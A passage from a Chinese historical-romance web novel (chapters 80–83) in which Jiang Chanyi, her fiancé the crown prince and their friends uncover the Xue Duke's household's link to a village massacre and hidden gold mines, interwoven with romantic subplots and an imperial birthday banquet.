城外打架,前几日乔家退婚,小王爷都在暗中添了把火,这才逼得太子深夜出宫夜闯相国府,还被褚公子抓住了把柄。 姜蝉衣望着金酒离开的背影若有所思,直到谢崇倒了茶放在她面前,她才问:“难道,我们的婚约与他有关?” 谢崇轻轻嗯了声。 “他早知你的身份。” 姜蝉衣不解:“他如何得知?” 谢崇对此不太清楚,只猜测道:“或许是因落霞门?” 倒是有可能。 姜蝉衣:“……所以,他早就看清一切。” 却故意不戳穿,还去小王爷跟前言说,定下婚约,惹她为此心伤许久! 那夜的泪都是白流了! 姜蝉衣砰地站起身:“我有事出去一趟!” 谢崇伸手拉住她,安抚:“金酒去了,放心,他跑不掉。” 姜蝉衣磨了磨牙。 怪不得一见谢崇来就跑,原是心虚。 宋少凌徐清宴一边喝茶一边看热闹,还不忘小声讨论:“要你是沐盟主,你会怎么做?” 徐清宴:“我也喜欢看热闹。” 谢崇,姜蝉衣:“……” 宋少凌忙放下茶杯,道:“今日还有正事,与沐盟主的恩怨你们自行解决。” 姜蝉衣按下揍人的冲动,缓缓坐下。 谢崇便道:“你可还记得千洲曾护送一个小盒子进京?” 姜蝉衣皱眉:“记得。” 还因此被黑酆门追杀许久。 宋少凌神秘道:“你猜那里头是什么?” 姜蝉衣看了看几人,好奇道:“是什么?” 宋少凌看向谢崇:“你说。” 谢崇:“……” 谢崇正色道:“藏宝图。” “藏宝图?”姜蝉衣万分讶异,而后又觉得该是这样,当时就奇怪那么小的盒子能放下什么,若是一份藏宝图那就说的过去了。 “嗯。” 谢崇道:“已经找高人解了机关,里头是前朝传下来的几处金矿的位置。” 姜蝉衣惊道:“金矿?” 她立刻便想到了什么:“难道,与解家有关?” “不止如此。” 谢崇沉声道:“此次查薛国公府,金酒找到了一个账册,发现薛国公府与解家钱财来往逾万金。” 姜蝉衣茫然的看着几人,半晌才回过神:“这……倒是巧。” 歪打正着,竟揪出一条大鱼。 宋少凌这时总算有机会询问:“白姑娘没和你一起来?” 姜蝉衣面色沉了沉,良久后,道:“师妹今早出了府,说有要事,我怀疑,她在查的事与薛国公府有关。” 师妹绝不会无缘无故与薛二喝茶,除非对方身上有她想要的东西。 第80章 第 80 章 你永远不是一个人 临街小巷, 一位身着素衣头簪白花戴着面纱的姑娘步伐急切,紧跟前头一人。 那是位年过四十的中年男子,眼神无形中透着几分阴狠, 脖颈至耳后有一条拇指大小的伤疤。 他很快便发现被人跟踪,旋身走近一条巷子。 白安渝毫不犹豫的跟了上去, 手中悄然捏着几根银针,可到巷中若不见人,白安渝皱了皱眉, 立刻便反应过来应是被发现了, 想走已然来不及。 “这位姑娘找我有事?” 男子不知何时出现, 堵住了她的退路。 白安渝长睫微颤了颤,道:“抱歉, 认错人了,阁下身形有些像我一位叔叔。” 男子眼神微眯:“是吗?” 说着,他已勾拳朝白安渝攻来, 白安渝早有准备侧身躲过,但武力悬殊过大,几招之后已然躲避不及。 就在男子以掌砍向白安渝时,突有一道劲风裹着一把刀袭来,男子被逼撤力躲开。 白安渝认得那把刀, 不必回头便知来人是谁,心头微动了动。 少年从她身侧掠过, 握住刀将她护在身后, 冷声道:“光天化日,欺负一个姑娘,阁下未免太没风度。” 男子认出了少年,皱了皱眉, 随后便觉有些不对,细细一察竟发现内力正在迅速消散,他心中一惊,猛地望向白安渝。 方才靠近她便闻到一股淡香,当时不觉,此时想来,应是那时便中了毒。 男子不再纠缠,折身便跃出了巷子。 宋少凌确认人已经离开,才收起刀,转身朝白安渝,神色平静道:“蝉衣姑娘担心白姑娘出府有危险,我们分开出来找。” 少年不似从前热情,态度不愠不火,语气也比从前疏离。 仿若只是一位寻常的故人。 白安渝颔首致谢:“多谢云公子,我这便回去。” 白安渝走出几步,却被宋少凌叫住:“蝉衣姑娘在百善楼等白姑娘,有要事相商。” 白安渝神情微变。 师姐知道了什么? “好,劳云公子带路。” 宋少凌看她片刻,终是没再说什么,抬脚先行:“白姑娘这边请。” _ 姜蝉衣看到信号便知应是宋少凌找到了人,赶紧回了百善楼。 谢崇正与徐清宴说御史台之事,见她回来便止住话,道:“找到了?” 姜蝉衣坐在他身侧,接过递来的茶,道:“宋少凌找到了。” 闻言,三人面色各异。 再续前缘,也不知是好是坏。 没等太久,宋少凌便带着白安渝到了百善楼,白安渝见到谢崇徐清宴明显一怔。 在相国府的这些日子,她没多问,姜蝉衣也没主动同她提起几人,至今为止,她并不知晓他们的身份。 姜蝉衣起身拉着白安渝坐下,看了眼云广白,才同她解释道:“我是想着等你们见了面再告诉你。” 主要是因宋少凌,上次客栈之后,她便觉得他们应该还要再见面,有些事,当面说会更会恰当。 白安渝取下面纱,眼底带着几丝茫然,原来不止云广白,他们竟又都再见了。 可师姐有婚约,且又对燕鹤有意,如今继续纠缠,却不知是好是坏。 “师妹,我重新同你介绍一下。”姜蝉衣拉着白安渝,从徐清宴开始一一介绍:“这位,叫徐清宴,海晏河清的清宴,字敏砚,也是新科状元郎。” 白安渝盯着徐清宴,动了动唇,难掩惊讶:“状元郎?” 不是说屡战屡败,屡败屡战,连秀才都没考中么? 徐清宴笑着颔首:“白姑娘,抱歉,先前并非有意隐瞒。” 白安渝忙道无碍,旋即看向谢崇。 徐青天不是徐青天,那燕鹤,是燕鹤吗? 姜蝉衣顺着她的视线望去,唇边是藏不住的笑意,声音也不觉放低了些:“他,姓谢。” 尽管白安渝心头已有准备,听得这话还是震惊失色。 皇姓,那他是…… 姜蝉衣对上白安渝惊疑的试探,轻轻点头:“是我的未婚夫。” “我也是进京后才知道的。” 白安渝好半晌才回过神,起身见礼,被谢崇出言拦下:“自家人,白师妹不必多礼。” 这是谢崇第一次唤她白师妹。 白安渝略显僵硬的望了眼姜蝉衣,世间竟有如此巧合之事。 忽而,她想到了什么,飞快看了眼从进来便沉默不言的少年。 那他,又是谁? 姜蝉衣注意到她的眼神,神情复杂的瞥了眼宋少凌,不是已经见面了,竟没有说明身份? 如是想着,姜蝉衣缓缓开口:“他也不姓云,是将军府宋小将军,宋少凌。” 白安渝猛地抬头看向宋少凌,脱口而出:“镇国大将军宋大将军是你何人?” 白安渝的反应出乎几人意料,宋少凌怔了怔,回答:“家父。” 白安渝直愣愣盯着宋少凌,眼神几经变化后才收回视线,却不再言语。 姜蝉衣看了看二人,试探问道:“师妹,认得宋大将军?” 白安渝摇头,可随后又轻轻点了点头,在几人好奇的视线中,她缓缓道:“约三年前我曾去过边关,遇险之时有幸得宋大将军相救,见过一面。” 知晓宋夫人犯了头风,她为报恩去给宋夫人施过针。 她也知道宋夫人有一个儿子,那时听宋夫人说人出去闯江湖了,还说若是有缘介绍他们认识。 没想到,竟然是他。 宋少凌皱了皱眉,隐约想起什么,神情略有几分古怪:“白姑娘可曾为母亲施过针?” 白安渝有些不自然的嗯了声。 宋少凌捏紧茶杯,眸色微深。 那年他回去,母亲便同他说起过,说有一位白衣胜雪的姑娘治好了她的头风,还惋惜了许久没让他们见上一面。 他知道母亲的意思,只那时他已然对她动心,随口敷衍几句便过了。 没想到,竟然就是她。 “母亲说,你姓唐。” 三人的视线在白安渝宋少凌身上来回转着,闻言纷纷又看向白安渝。 白安渝道:“嗯,我母亲姓唐。” 那时她是追着线索去的边关,怕暴露身份,用了母姓。 当年被屠的村庄名为白家村。 后来线索断了,她从边关到江南,在花神节上,第一次遇见他们。 三人又缓缓看向宋少凌。 宋少凌却沉默了下来,不再作声。 几人对视一眼,纷纷从对方眼里看到了八卦的神采。 合着他们竟还有这样的前缘,这怎么看都像是正缘。 良久后,姜蝉衣轻咳一声打破了古怪的气氛:“师妹去边关作甚?” 白安渝动了动唇,欲言又止。 姜蝉衣便明白了,看向她道:“可是与找上薛国公府一样?” 白安渝眸色微暗了暗,良久后,道:“师姐都知道了。” 姜蝉衣:“嗯,猜到了一些。” 随后,她正色道:“当年是师父带我去接你回的落霞峰,我也亲眼目睹白家村被屠,若是师妹寻到了什么线索,不必瞒我,我们一起寻找真相,可好?” “我不想连累师姐。”白安渝。 屠村背后藏着一股很强大的势力,她已失去了太多,绝不想牵连师姐。 姜蝉衣好整以暇的往谢崇的方向抬了抬下巴:“有太子在,师妹怕什么?” 白安渝一愣,抬眸看向谢崇。 谢崇几人方才已听姜蝉衣说起过当年之事,也已知晓她这些年背负的血海深仇,听到这里,谢崇郑重承诺:“如若真有冤情,孤必不会坐视不理。” 徐清宴也道:“是啊白姑娘,若连太子都无法为你做主,这世道得乱成什么样?” 姜蝉衣握住白安渝的手,温声道:“师妹,相信我们,有我们在,你永远不是一个人。” 白安渝眼角隐隐泛红,多年来压在肩上的血仇让她日日喘不过气,直到这一刻,那根一直绷着的弦终于有所松动。 许久后,才平复好心绪,徐徐道:“当年,我曾看见一个参与屠村的蒙面人脖颈至耳后有一条疤,几经辗转,我找到他了。” 80-90 第81章 第 81 章 旧案 姜蝉衣闻言, 面露喜色:“当真,那人在何处?” 白安渝看了眼宋少凌,宋少凌接过话道:“我找到白姑娘时, 她正与人对峙,那人腰间有薛国公府铜牌。” 铜牌, 一般而言是府中很得重视的仆从才能得赐。 姜蝉衣并不意外:“果然如此。” “所以师妹先前接近薛二公子也是因此?” 白安渝点头:“嗯。” 事到如今也就没有继续隐瞒的必要,白安渝如实道:“我经过几年追查,发现线索直指京都, 师姐一下山我便朝京都来, 只薛国公夫人不在府中, 我短时间寻不到接近国公府的机会,便打算从薛二入手。” 只没想到薛二此人恶劣至极, 不过刚碰面便盯上她下了药。 谢崇听出什么,问:“白师妹认识薛国公夫人?” “嗯。” 白安渝:“我发现线索后,恰得知薛国公夫人踪迹, 夫人有旧疾,我便几番偶遇接近她,上回落霞令出,我正在夫人临时暂住的府邸给她诊脉。” 若非见到落霞令,她会顺势在那里住下, 跟着国公夫人进京。 白安渝说罢,久久无人出声。 这些如今听着不过短短几句话, 可却无人知她背后付出过多少艰辛和努力。 姜蝉衣面上难掩愧疚, 若从前她执意插手,师妹这些年或许也不至于那般难熬。 白安渝对于这位年纪比她小些的师姐,再了解不过,不必深思也知她心底在想什么, 回握住她的手,道:“我有医术毒药傍身,也会一点功夫,除了这次先前并没有吃过亏,且我并非有意瞒着师姐,只师姐心疾未愈,我实在担心。” 她也曾想过师姐是国公府嫡女,若此事求师姐帮忙,必定事半功倍,可师姐自小不在京都长大,对京中事并不比她了解多少,且师姐是她为数不多的亲人之一,她无法接受师姐因她有什么差池,因此实在不敢冒险。 姜蝉衣闷闷的嗯了声。 “我知道。” 白安渝了解她,她亦了解白安渝。 不必她细说,她便能猜到她的顾虑,性子使然,她也不在此事上多做纠结,道:“既然师妹已查到重要线索,接下来想必要容易许多。” 这时,徐清宴突然道:“白姑娘可记得当时白家村因何招来此祸,比如,有什么宝物?再或者” 他顿了顿,若有所思看向谢崇,谢崇看向白安渝,沉声道:“或许村庄附近,有什么不同寻常的山脉?” 姜蝉衣也正有此怀疑。 前朝留下的金矿地图,薛国公府与解家账务往来,白家村被屠,这一切好像被一条隐秘的线牵连在了一起。 白安渝闻言怔了怔,道:“我当时年纪小,不大记得缘由,那日一切都很寻常,我去半山菜地摘菜,回去便见村子惨遭袭击,那些人自称山匪烧杀抢虐,若非师父来的及时,我也会惨遭毒手。” “我从不曾听闻村中有什么宝物,若说山脉” 白安渝仔细回忆过后,犹豫道:“村外确实有一座不大寻常的山,据说那里有猛兽,村中人都不敢涉足。” 姜蝉衣几人闻言对视一眼:“若那座山中真有金矿,一切就说的通了。” 谢崇沉吟片刻,请白安渝写下详细地址,扬声唤道:“金酒。” 几息后,出现一名暗卫:“殿下,金统领去抓沐公子了。” 谢崇顿了顿,将纸条递给他:“你去传令,让金酒遣人即刻去一趟白家村。” 暗卫恭敬接过纸条领命而去。 “今日已经打草惊蛇,怕惹来薛国公府怀疑,师妹之后不可独自行动,万一落入被薛国公府手中,反倒无益。”姜蝉衣正色道:“之后若有任何需要查证之事,我去便可。” 谢崇道:“我留几个暗卫给你。” 姜蝉衣也不托大,不跟他客气:“好。” 转而又认真同白安渝道:“白家村如今只剩师妹一人,也只有师妹看见过当年屠村之人,不管是递状纸,还是作为人证都需要师妹出面,师妹切记,万不可再冒险。” 白安渝知晓其中厉害,点头说好。 京都不比他处,卧虎藏龙之地,想要一个人悄无声息的消失,太容易了。 她对此已经深有体会,两次与国公府交锋若无宋少凌及时出现,她恐早已命丧于此,她也非愚笨痴缠之人,在座以东宫为首,都是京都名门贵族,有他们相帮,远比她一人的力量大的多,她没有理由再独自行动。 说起来,他又救了她。 “如此,那我便先回去了。” 宋少凌起身道:“此事若有任何需要我出力的地方,差人来说便是。” 他今日禁足已解,得赶紧回府一趟,不然免不得一顿板子。 白安渝遂也起身,屈膝致谢:“多谢云宋小将军。” 宋少凌下意识抬手要扶,但最终还是按住,规矩的还了一礼:“白姑娘不必客气。” 随后便与众人告辞。 然才走出两步,金酒突然回来,神色复杂的看他一眼,禀报道:“殿下” 宋少凌因那一眼生生止住脚步。 金酒是追沐玄机而去,如此情状回来,谢崇眼皮子一跳:“何事?” 金酒不敢去看宋少凌,似有几分心虚:“殿下,属下追沐公子至安居巷,便不见了踪影属下查过后,猜测约是翻了墙。” 谢崇几人还未有反应,宋少凌便折身回来,皱眉道:“安居巷?翻了哪堵墙?” 柳大将军府便在安居巷附近。 而宋大将军宋长策是入了柳家族谱的长子,至今未曾与柳家分府,只两边隔着一堵墙,中间有可以通行的铜门,宋家这边离安居巷更近。 宋少凌这话一出,谢崇便想起来了,再观金酒反应,眉心突突直跳。 果然,只听金酒道:“宋家南边的墙,朝华院。” 宋少凌脸色一黑,暗骂了声转身疾步离开。 姜蝉衣几人见此面面相觑。 “朝华院是” 谢崇倒是最先反应过来,微蹙了蹙眉。 此次宋大将军奉命携女眷进京贺寿,宋大将军之女也在其中。 沐玄机怕又要闯祸了。 谢崇抬手押了押眉心,道:“先紧着调查白家村。” 玄烛叔叔在京,便是人闯了祸应也落不到他头上。 金酒已见过传话的暗卫,打算禀报之后便安排,遂应下挑人去了。 小插曲过后,徐清宴也起身告辞。 谢崇送姜蝉衣白安渝回府后便回宫,着人再查薛国公府。 而薛国公府这边丢了账册,薛二又已流放,府中正一团乱。 薛老太爷震怒之下摔碎了茶盏:“如此重要的东西,怎么被偷?” 薛大爷颔首而立,一脸愁色。 “此物一直放在儿子书房暗格中,除了儿子之外无人知晓,儿子实在不知会被何人拿走。” 且他还不知是何时被盗。 若非今日张猛回来禀报,路上被一蒙面女子跟踪,又遇到了宋家的小将军相救,他谨慎起见去查看账册,还不知账册竟不见了。 薛老太爷重重呼出一口气,看向张猛:“可看清那女子面貌?” 张猛摇头:“没有看清,但是前些日子小的查到,二公子曾对一女子下药,那女子身着素衣头戴白花,与小的今日所见之人打扮无二。” 也是因此他才并不相信她是认错了人。 “身着素衣,头簪白花?” 薛大爷若有所思低喃:“若该女子是冲着薛府来的,莫不是有什么大仇?” 薛老太爷沉凝半晌,眼露精光,冷哼了声;“此事怕是没那么简单。” “那女子白日中药,乔二爷夜里便闯国公府报复那女子的身份才没有查到?” 薛二一出事,薛家便已暗中调查白安渝,只是至今还没有消息传来。 恰这时,书房外有心腹禀报,薛大爷忙唤人进来,此人内功深厚,最擅隐匿追踪,正是奉命去调查那女子身份之人,薛大爷忙问:“可是查到了?” 心腹恭敬回道:“禀老太爷,大爷,小的今日看见宋小将军救下那女子之后去了百善楼,大约一个时辰后,宋小将军与杨家表公子徐公子离开,而后,太子殿下送褚二姑娘与那女子回了相国府。” 薛老太爷与薛大爷对视一眼,眼底皆划过震色:“她与东宫有何干系?” 薛大爷踌躇片刻,犹豫道:“相国府褚二近日回京,据儿子所知,这褚二先前养在江湖,或许,是褚二与此女有交情?” 这个猜测倒是合理。 薛老太爷脸色渐渐沉了下来,心中升起一股不好的预感,想起多年前一桩旧事,抬眸看向张猛:“你可记得多年前,白家村?” 张猛神情一变,忙道:“小的记得。” “你确认当年没有留下活口?” 张猛心头一阵犯虚,但面上却不见异色,坚定道:“小的确认没有。” “当年小的奉命屠村之后正欲撤退,遇上一江湖高人,小的九死一生才逃过一劫,只兄弟们都死在那人手中,小人确认,当时没有他人在场。” 书房内又沉寂下来。 良久后,薛大爷忍着心惊道:“父亲,您说,最近暗中调查国公府的会是何人?” 薛国公府在京中脉络众多,想要查什么人并不难,可近日他们察觉到有股隐藏在暗中的势力在调查国公府,但怎么也抓不到半点把柄,甚至连对方是谁至今都不知晓。 原先不敢猜测,可今日知那女子与东宫相识,便不得不深想了。 更何况,京中能做到这样滴水不漏的势力属实不多。 若是东宫,那一切就说的通了。 薛老太爷自然也想到了这处,脸色隐隐发白。 这些年他们隐匿暗处,绝不可能落人把柄,去岁出事之后解家定罪,也半点没牵连他们,过去了这些时日,怎么会突然查到他们身上。 第82章 第 82 章 此人定要远离! 薛大爷对此也百思不得其解, 还是张猛突然开口道:“会不会与二公子有关,小的隐约听见褚二姑娘唤那女子师妹。” 话落,书房又是一阵诡异的寂静。 排除白家村旧案, 最近与薛国公府有关的案子可不就是二公子,若那白衣女子是褚二的师妹, 褚二又是未来储妃,太子插手也在理,可乔家为何出头? 不对! 薛老太爷神色一变, 看向薛大爷:“恐怕那夜打人的并非乔二爷。” 薛大爷一怔:“父亲的意思是” 话将出口, 他就反应过来了:“褚二养在江湖, 武功不凡,若是她夜闯国公府, 乔二爷为维护外甥女声誉为其顶罪,而东宫” “是了!” 薛大爷倒吸一口凉气:“东宫为了保护褚二姑娘,这才彻查老二, 连带着查了整个国公府!” 因此,账册才会被盗! 薛老太爷气的一掌扫掉案上茶具,怒道:“这个孽子!他是要害死国公府!” 薛大爷脸色难看至极。 若非李氏一味宠溺,老二何至于闯下如此大大祸! “父亲,眼下该怎么办?” 若那本账册真到了东宫手中, 薛国公府危矣! 薛老太爷强压下怒火,良久后冷静下来, 眼底划过决绝之意:“让老大装病, 想办法送出城外。” 薛大爷一惊:“父亲” 父亲这是在安排后路! “此事牵扯太大,要真是东宫插手,一旦查到实质性证据,国公府在劫难逃。”薛老太爷仿若一瞬苍老许多, 重重叹道:“若是最后相安无事再将人接回来便是。” 薛大爷一脸颓色。 诚如父亲所说,只要东宫插手,国公府便不可能全身而退。 “今夜便送走吧,安排几个得力的,一旦国公府出事立刻带大公子逃,隐姓埋名逃的越远越好。”薛老太爷越想心中越难宁,当机立断道:“你连夜去安排好路引。” “还有,祸不及出嫁女,所幸家中姑娘都定了亲,想办法将婚期提前。” 薛大爷面露难色:“若突然提前婚期,怕是有损姑娘名声。” 薛老太爷沉凝几息,道:“便说我病重,以免守丧延迟婚期。” “父亲” 薛大爷惊道。 “照我说的去做。” 薛老太爷沉声打断他,缓缓道:“能多保一个是一个。” 这些年的冒险经营不就是为了重振薛家门楣,不幸东窗事发也怪不得谁,保住薛家血脉才是最紧要的。 薛大爷凝重应下:“是,儿子明白。” 旋即,薛老太爷让张猛退下,留薛大爷说话。 待人走远,薛老太爷示意薛大爷靠近,低声道:“留不得了。” 白家村旧案,张猛是唯一活下来的人,以防万一,绝不能留! 薛大爷眼底划过一丝杀气:“儿子明白。” 而这头张猛出了书房便疾步出府,连行囊都没有准备。 当年之事他撒了谎! 白家村有活口! 当年,他奉命带人屠村,近尾声时闯进来一个小姑娘,他本欲上前斩杀却被一江湖高人拦下,他犹记得那人身边亦带着一个小姑娘。 他心知不是那人对手,一边下令让人灭口,一边趁乱逃走,回来后怕惹祸上身不敢说实话,只称没有活口。 方才听薛家父子分析之后,他心中便已了然。 他今日所见的那白衣女子多半就是当年白家村被救走的孤女,而当时那高手身边的姑娘就是褚二! 时隔多年,他实在没想到白家村去,若他早些细想明白,今日便绝不会回府! 他太了解薛家父子了。 他们定不会让他活过今晚! 待薛大爷遣人去灭口时,发现张猛连带着他的家眷都已经不见了踪影,当即心中一沉,坏了,他此时潜逃,便说明他心中有鬼! 难道他撒了谎! 薛大爷一颗心沉到了谷底,立刻着人连夜追杀- 东宫 次日黄昏,金酒将国公府一应动作如实禀报:“那人名叫张猛,昨夜逃了,国公府至今还未寻到其踪迹。” “另,薛大公子突得急病,早晨已送往城外,在庄子上休养,薛夫人今日分别去了陈家,王家,据查证,是想将婚期提前,理由是老太爷病重。” 谢崇唇边勾起一丝冷笑:“薛老太爷真是精明算计,打的一手好算盘,想保薛家血脉,怕没那么容易。” “赶在他们之前活捉张猛,另加派人手尽快查出藏银所在,待去白家村的人回来,立刻围府。” 金酒领命而去:“是。”- 宋少凌回到宋家,来不及去拜见父母,径直往朝华院而去。 朝华院,一切平静如常。 宋嫣宁听得阿兄过来,忙迎了出来:“阿兄。” 宋少凌边应她边四周打量,宋嫣宁见他神色不对,忙道:“阿兄,怎么了?” 宋少凌皱眉道:“妹妹方才可有见到什么奇怪的人?” 宋嫣宁闻言眸光一震,阿兄怎么这么快就知道了! 宋少凌见此哪还有不明白的,咬牙道:“人呢?” 宋嫣宁抿了抿唇,小声解释道:“一炷香前,是有一位公子翻墙进来,他称被人追至此处,不知是女眷院落,在墙角躲了一小会儿便离开了。” 当时她在亭中绣花,少年突然从天而降,惊的她慌忙躲到女使身后,少年似也没有料到此情景,忙退后施礼致歉。 她见对方好像没有恶意,偷偷从女使身后探头看他,没成想对方也看过来,她急忙错开视线,脸红了个透。 少年容貌俊美,放荡不羁,与他所见过的男子都不一样。 宋少凌瞥见妹妹泛红的双颊,心中一咯噔,忙正色道:“他当真只躲在墙角,没有靠近你吧?可曾问过你姓名?知你是谁?” 宋嫣宁忙摇头:“都没有。” 除了突然闯进她的院子外,都挺讲规矩的。 宋少凌轻呼出一口气,忙拉了妹妹在亭中坐下,耐心嘱咐道:“若下次他见到他,必要躲的远远的,若他再来要赶紧派人知会我。” 那人生了副妖孽样,妹妹年纪小,随母亲性情柔善单纯,又没经过什么事,可别被那张脸欺骗了才好。 重中之重是,他曾赢了沐玄机的比武招亲!就怕那货见着妹妹,拿此事要挟! 宋嫣宁听他这般说,便明白了:“阿兄认识他?” “认识。” 宋少凌道:“阿兄闯江湖的时候与他相识,此人性情多变,行事诡异,没什么章程,妹妹可知他被何人追至此处?” 宋嫣宁茫然摇头:“不知。” 宋少凌郑重道:“是太子殿下。” 宋嫣宁惊的瞪大眼:“怎会如此,他可是犯了什么事?” “阿兄所知不多,只知晓他得罪了太子殿下,太子殿下的人回去禀报时,我也在场,知晓他竟胆大包天闯了朝华院这才赶紧回来。” 宋少凌循循善诱:“妹妹知道的,太子殿下最是端正稳重,得罪殿下的人能是什么好人,所以,此人定要远离!” 宋嫣宁倒吸一口凉气,心头那点儿旖旎顿时消散无踪,她就说这事怎会传的这么快,原是因此。 宋嫣宁郑重道:“阿兄放心,我都记下了。” 宋少凌见她确实听了进去,方才放下心:“切记,若他再来让人将他打出去。” 宋嫣宁认真点头:“好。” “如此,那我先去拜见父亲,之后再来找妹妹说话。”宋少凌起身道。 宋嫣宁却面露担忧:“阿兄,父亲恐怕还未消气。” “无妨。”宋少凌安抚她道:“顶多就挨顿板子,放心,阿兄皮糙肉厚,没事。” 当夜,宋小将军便被罚去跪祠堂,禁足三日。 宋嫣宁得知后,悄悄潜进去送点心,几月不见,兄妹二人又说了许多话,到后头宋嫣宁睡着了,宋少凌才唤人将她送了回去- 这日,阳光明媚,姜蝉衣坐在秋千上看太子刚送来的信件。 自从上次百善楼一别,二人已有好些日子没见面,但每日姜蝉衣都会收到东宫送来的书信和礼物,每回姜蝉衣都要看上好久。 白安渝远远见她脸上的笑意便知太子又来信了,走过来坐在旁边打趣道:“殿下信上说了什么,师姐如此开心?” 姜蝉衣忙收起信,轻咳一声,正色道:“太子信上说,薛国公府两位姑娘婚期将近,三姑娘就在下个月。” 白安渝笑意微敛,冷声道:“祸不及出嫁女,可白家村一百多口人比她们无辜。” 姜蝉衣:“嗯。” “太子的意思是,会在大婚前动手。” 白安渝怔愣片刻,喃喃道:“我还以为” 后面的话没说出口,但姜蝉衣明白,轻声道:“既享受了家族踩在旁人尸骨上带来的富贵荣华,便是一荣俱荣一损俱损,谁也无法独善其身。” “对了,过几日陛下寿辰,我们打算夜探国公府。” 白安渝微惊:“为何?” “脏银至今还没有寻到,没有实证,只有账册是不够的。”姜蝉衣见白安渝面上浮现忧色,笑着道:“放心,不止我一人去。” 白安渝便知还有谁了,沉默下来。 陛下寿辰,太子不可能离席,徐清宴不会武功,能同师姐去的只有那一人。 这几日白安渝没少打趣姜蝉衣,见此,姜蝉衣凑近她:“师妹是在担心我还是担心别人?” 白安渝抬眸,坦然道;“当然更担心师姐。” “只是宋小将军此番是为我冒险,我自然也担心。” “只是这样?” 姜蝉衣笑着蹭到她肩上。 “当然。” 白安渝平静道。 不管是以前还是现在,他们注定无缘。 她不过一届孤女,而他是镇国大将军府的公子,身份地位犹如天堑。 她最大的愿望便是报此血仇,回落霞门,安度余生。 第83章 第 83 章 那就赌一赌 陛下寿辰, 百官庆贺。 姜蝉衣也随父母长兄进宫。 宴席设在露华台,今日百官携家眷并不分席,姜蝉衣坐在父母身后, 与长兄并列。 她回京之后认识的人不多,只拜见乔家众人后便安静坐在席位上饮茶吃着点心, 倒是不少贵女朝她投来打量的视线。 贵女们相争已久的储妃之位,最后落在姜蝉衣身上,不少人至今还耿耿于怀, 都想瞧瞧到底是何方神圣, 横插一脚抢走了太子。 原想着养在江湖多不是什么出挑之色, 可今日见着人观其言行方才觉竟不逊色于京中贵女,且她身上还有股不同于京中女子的洒脱和灵动。 论形容姿色, 不得不承认,与太子相配。 许多女子心中那点儿不平也稍微淡了些去,但也不乏仍有人看不顺眼, 不过相国嫡女,又是乔家表姑娘,即便再不喜,也没人敢在大庭广众之下上前挑衅。 姜蝉衣隐约感知到一些不善的视线,漫不经心的瞥一眼, 又淡淡收回。 虽不知那些不善从何而来,但眼下她的心思都在夜探薛国公府之事上, 全然没有将这些放在心上。 而落在那些女子眼中, 她这轻飘飘一眼就是赤裸裸的挑衅,简直气煞人也。 这时,外头传来禀报,小王爷到了。 姜蝉衣眼睛一亮, 小王爷谢蘅与将军柳襄的名讳早就如雷贯耳,却一直未曾得见,遂好奇探头张望。 没过多久,便有一行人踏进厅中。 为首的夫妇携手而来,男子金簪乌发气度矜贵,城北徐公,夫人神采飞扬,英姿飒爽,姜蝉衣不由暗自感叹,真真是好一双碧人! 夫妇身后的小郡王与小郡主,则都在打量姜蝉衣。 他们早就从沐玄机那里听过太子阿兄与未来嫂嫂的故事,若非要按耐住看热闹,早就上门寻去了。 姜蝉衣随父母起身行礼,却突觉一道视线落在自己身上,抬起头便对上小王爷那双饶有兴致的丹凤眼,她微微一怔,忙又颔首。 谢蘅收回视线,同身侧柳襄道:“我就说,极为相配吧。” 定婚时柳襄与他持过不同意见,想着万一沐玄机有什么误会,二人并非两情相悦该如何是好,谢蘅权衡之后便以明王府的名义上门提亲,若真是有误会,不是圣上赐婚也还有转圜的余地。 当时,谢蘅还与柳襄打过赌,而如今可见,这桩婚事极好。 柳襄面色淡然:“是,夫君说的都对。” 入座之后,谢蘅低声道:“你输了,之后一月我要和你同去军营。” 柳襄:“好。” 反正因带夫君去军营她已被下属笑话了十几年,不怕多一个月,再者,便是没有这个赌约,他也是隔三差五便要陪她去一次。 柳襄边回答边熟练的按下谢蘅去拿酒壶的手,将自己这边的茶给他添上:“酒是给我准备的,应是宫人放反了。” 谢蘅瞥了眼被拿走的酒壶,不作声了。 几息后,柳襄只得给他倒了半杯:“只能饮这些。” 谢蘅脸上这才有笑,拉着她的手:“好,听夫人的。” 旁人或许听不见二人低语,但姜蝉衣却能听的清楚,她面色古怪的抿着一丝笑,她进京后已然从宋少凌口中听过柳将军与小王爷之间的故事,那时还觉宋少凌或许有夸大之词,今日方知柳将军那些纵容小王爷的传闻怕是并不为虚。 不过瞧着这位小王爷面色红润,倒不像是体弱多病的。 如此想着他,她遂轻声问身旁长兄。 褚方绎抬眸看了眼低头饮酒的小王爷,沉默良久,低笑一声道:“柳将军养得好。” 姜蝉衣一愣:“?” 褚方绎解释:“京中都这么说。” “小王爷确实体弱多病,曾几次行走在鬼门关,因此柳将军便格外照顾纵容些,但凡小王爷要的无有不应,好些年都没再听说小王爷身体不虞,都道是柳将军养得好。” 姜蝉衣:“喔。” 她又偷偷去瞧那二人,看来这二位的传闻是满城皆知啊,不过这样的感情真是羡煞旁人。 柳襄察觉到她的视线抬头望来,女将军的眼神同寻常妇人不同,无形中便带上几分凌厉,姜蝉衣顿了顿,遥遥举杯相敬。 柳襄回之一笑,举杯饮尽。 姜蝉衣放下酒杯后,难掩激动的同长兄轻语:“柳将军竟这般平易近人。” 当朝第一位女将军,屡建功勋的巾帼英雄,但凡女子无有不崇敬。 褚方绎轻笑:“嗯。” 他曾听二舅舅说过,世间唯有柳襄能忍得了谢蘅,也唯有柳襄,能制得住谢蘅,但偏偏,柳襄是这世间最纵谢蘅之人。 不多时,圣上携皇后到,太子与公主紧随其后。 众臣子皆起身行礼。 “众卿免礼。” 众臣谢恩,依次落座。 姜蝉衣抬眼快速看向太子,恰对上太子的视线,二人相视一笑,各自挪开。 皇后将这一幕看在眼里,也多看了几眼姜蝉衣。 越看越满意。 她曾经也担忧过这桩婚事,没成想倒真是一桩良缘。 天子寿辰,众臣献礼,以太子为先,臣子为后。 姜蝉衣也随母亲上前献礼,献礼结束众臣便各自宴饮。 姜蝉衣掐着时辰,看了眼对面的宋少凌,宋少凌微微颔首示意。 姜蝉衣收回视线,又坐片刻,揉了揉眉心,侧首同褚方绎道:“阿兄,我有些醉了。” 褚方绎看了眼她,根据他对妹妹的了解,这点酒不可能醉,想着近日得知的消息,猜测多半他们今夜有什么计划,便配合道:“你先出去透透气,我同父亲母亲说。” 姜蝉衣:“嗯,谢阿兄。” 果然,姜蝉衣离席不久,褚方绎便见宋少凌也起身离开。 